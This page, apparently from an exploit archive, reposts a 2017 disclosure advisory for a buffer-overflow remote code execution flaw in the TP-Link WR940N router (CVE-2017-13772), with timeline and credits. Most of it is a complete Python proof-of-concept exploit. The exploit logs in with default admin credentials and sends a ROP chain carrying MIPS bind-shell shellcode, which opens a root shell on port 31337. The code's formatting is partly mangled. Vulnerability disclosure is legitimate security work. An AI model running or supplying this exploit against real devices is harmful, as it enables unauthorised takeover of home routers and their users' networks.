Home / exploitsPDF  

TP-Link WR940N Remote Code Execution

Posted on 21 October 2017

** Advisory Information Title: TP-Link Remote Code Execution Blog URL: https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/ Vendor: TP-Link Date Published: 19/10/2017 CVE: CVE-2017-13772 ** Vulnerability Summary Numerous remote code execution paths were discovered in TP-Link's WR940N home WiFi router. Valid credentials are required for this attack path. It is possible for an authenticated attacker to obtain a remote shell with root privileges. ** Details There were multiple occurrences of strcpy being used in an unsafe manner, resulting in a trivial buffer overflow condition. It is also possible to cause a Denial of Service on the web service. Using the aDiagnostica page, an attacker could utilise the built in apinga feature of the router to cause either; a Denial of Service attack to crash the web server or exploit a buffer overflow condition to obtain a remote root shell. ** Vendor Response TP-Link have released a new version of the firmware thus mitigating exploitation of this issue. ** Report Timeline * Disclosed to vendor a 11/8/2017 * Response from vendor, request for initial advisory a 14/8/2017 * Initial advisory sent a 14/8/2017 * Beta patch sent for testing by vendor a 17/8/2017 * Patch confirmed to work, however other vulnerable locations were identified, a second exploit was written to demonstrate this. Sent to vendor a 17/8/2017 * Response by vendor, will look into the other vulnerable locations a 18/8/2017 * Second patch sent for testing by vendor a 25/8/17 * Patch confirmed to mitigate vulnerabilities (500+ calls to strcpy removed) a 29/8/2017 * Patch released a 28/9/2017 (Only HW V5 US) ** Credit This vulnerability was discovered by Tim Carrington, part of the Fidus Information Security research team. ** References https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/ ** Disclaimer This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/ Proof of concept: import urllib2 import base64 import hashlib from optparse import * import sys import urllibbanner = ( "___________________________________________________________________________ " "WR940N Authenticated Remote Code Exploit " "This exploit will open a bind shell on the remote target " "The port is 31337, you can change that in the code if you wish " "This exploit requires authentication, if you know the creds, then " "use the -u -p options, otherwise default is admin:admin " "___________________________________________________________________________" ) def login(ip, user, pwd): print "[+] Attempting to login to http://%s %s:%s"%(ip,user,pwd) #### Generate the auth cookie of the form b64enc('admin:' + md5('admin')) hash = hashlib.md5() hash.update(pwd) auth_string = "%s:%s" %(user, hash.hexdigest()) encoded_string = base64.b64encode(auth_string) print "[+] Encoded authorisation: %s" %encoded_string #### Send the request url = "http://" + ip + "/userRpm/LoginRpm.htm?Save=Save" print "[+] sending login to " + url req = urllib2.Request(url) req.add_header('Cookie', 'Authorization=Basic %s' %encoded_string) resp = urllib2.urlopen(req) #### The server generates a random path for further requests, grab that here data = resp.read() next_url = "http://%s/%s/userRpm/" %(ip, data.split("/")[3]) print "[+] Got random path for next stage, url is now %s" %next_url return (next_url, encoded_string) #custom bind shell shellcode with very simple xor encoder #followed by a sleep syscall to flush cash before running #bad chars = 0x20, 0x00 shellcode = ( #encoder "x22x51x44x44x3cx11x99x99x36x31x99x99" "x27xb2x05x4b" #0x27b2059f for first_exploit "x22x52xfcxa0x8ex4axfexf9" "x02x2ax18x26xaex43xfexf9x8ex4axffx41" "x02x2ax18x26xaex43xffx41x8ex4axffx5d" "x02x2ax18x26xaex43xffx5dx8ex4axffx71" "x02x2ax18x26xaex43xffx71x8ex4axffx8d" "x02x2ax18x26xaex43xffx8dx8ex4axffx99" "x02x2ax18x26xaex43xffx99x8ex4axffxa5" "x02x2ax18x26xaex43xffxa5x8ex4axffxad" "x02x2ax18x26xaex43xffxadx8ex4axffxb9" "x02x2ax18x26xaex43xffxb9x8ex4axffxc1" "x02x2ax18x26xaex43xffxc1" #sleep "x24x12xffxffx24x02x10x46x24x0fx03x08" "x21xefxfcxfcxafxafxfbxfexafxafxfbxfa" "x27xa4xfbxfax01x01x01x0cx21x8cx11x5c" ################ encoded shellcode ############### "x27xbdxffxe0x24x0exffxfdx98x59xb9xbex01xc0x28x27x28x06" "xffxffx24x02x10x57x01x01x01x0cx23x39x44x44x30x50xffxff" "x24x0exffxefx01xc0x70x27x24x0d" "x7ax69" #<aaaaaaaa- PORT 0x7a69 (31337) "x24x0fxfdxffx01xe0x78x27x01xcfx78x04x01xafx68x25xafxad" "xffxe0xafxa0xffxe4xafxa0xffxe8xafxa0xffxecx9bx89xb9xbc" "x24x0exffxefx01xc0x30x27x23xa5xffxe0x24x02x10x49x01x01" "x01x0cx24x0fx73x50" "x9bx89xb9xbcx24x05x01x01x24x02x10x4ex01x01x01x0cx24x0f" "x73x50x9bx89xb9xbcx28x05xffxffx28x06xffxffx24x02x10x48" "x01x01x01x0cx24x0fx73x50x30x50xffxffx9bx89xb9xbcx24x0f" "xffxfdx01xe0x28x27xbdx9bx96x46x01x01x01x0cx24x0fx73x50" "x9bx89xb9xbcx28x05x01x01xbdx9bx96x46x01x01x01x0cx24x0f" "x73x50x9bx89xb9xbcx28x05xffxffxbdx9bx96x46x01x01x01x0c" "x3cx0fx2fx2fx35xefx62x69xafxafxffxecx3cx0ex6ex2fx35xce" "x73x68xafxaexffxf0xafxa0xffxf4x27xa4xffxecxafxa4xffxf8" "xafxa0xffxfcx27xa5xffxf8x24x02x0fxabx01x01x01x0cx24x02" "x10x46x24x0fx03x68x21xefxfcxfcxafxafxfbxfexafxafxfbxfa" "x27xa4xfbxfex01x01x01x0cx21x8cx11x5c" ) ###### useful gadgets ####### nop = "x22x51x44x44" gadg_1 = "x2AxB3x7Cx60" gadg_2 = "x2AxB1x78x40" sleep_addr = "x2axb3x50x90" stack_gadg = "x2AxAFx84xC0" call_code = "x2AxB2xDCxF0" def first_exploit(url, auth): # trash $s1 $ra rop = "A"*164 + gadg_2 + gadg_1 + "B"*0x20 + sleep_addr + "C"*4 rop += "C"*0x1c + call_code + "D"*4 + stack_gadg + nop*0x20 + shellcode params = {'ping_addr': rop, 'doType': 'ping', 'isNew': 'new', 'sendNum': '20', 'pSize': '64', 'overTime': '800', 'trHops': '20'} new_url = url + "PingIframeRpm.htm?" + urllib.urlencode(params) print "[+] sending exploit..." print "[+] Wait a couple of seconds before connecting" print "[+] When you are finished do http -r to reset the http service" req = urllib2.Request(new_url) req.add_header('Cookie', 'Authorization=Basic %s' %auth) req.add_header('Referer', url + "DiagnosticRpm.htm") resp = urllib2.urlopen(req) def second_exploit(url, auth): url = url + "WanStaticIpV6CfgRpm.htm?" # trash s0 s1 s2 s3 s4 ret shellcode payload = "A"*111 + "B"*4 + gadg_2 + "D"*4 + "E"*4 + "F"*4 + gadg_1 + "a"*0x1c payload += "A"*4 + sleep_addr + "C"*0x20 + call_code + "E"*4 payload += stack_gadg + "A"*4 + nop*10 + shellcode + "B"*7 print len(payload) params = {'ipv6Enable': 'on', 'wantype': '2', 'ipType': '2', 'mtu': '1480', 'dnsType': '1', 'dnsserver2': payload, 'ipAssignType': '0', 'ipStart': '1000', 'ipEnd': '2000', 'time': '86400', 'ipPrefixType': '0', 'staticPrefix': 'AAAA', 'staticPrefixLength': '64', 'Save': 'Save', 'RenewIp': '1'} new_url = url + urllib.urlencode(params) print "[+] sending exploita|" print "[+] Wait a couple of seconds before connecting" print "[+] When you are finished do http -r to reset the http service" req = urllib2.Request(new_url) req.add_header('Cookie', 'Authorization=Basic %s' %auth) req.add_header('Referer', url + "WanStaticIpV6CfgRpm.htm") resp = urllib2.urlopen(req) if __name__ == '__main__': print banner username = "admin" password = "admin" parser = OptionParser() parser.add_option("-t", "atarget", dest="host", help="target ip address") parser.add_option("-u", "auser", dest="username", help="username for authentication", default="admin") parser.add_option("-p", "apassword", dest="password", help="password for authentication", default="admin") (options, args) = parser.parse_args() if options.host is None: parser.error("[x] A host name is required at the minimum [x]") if options.username is not None: username = options.username if options.password is not None: password = options.password (next_url, encoded_string) = login(options.host, username, password) ###### Both exploits result in the same bind shell ###### #first_exploit(data[0], data[1]) second_exploit(next_url, encoded_string).

 

TOP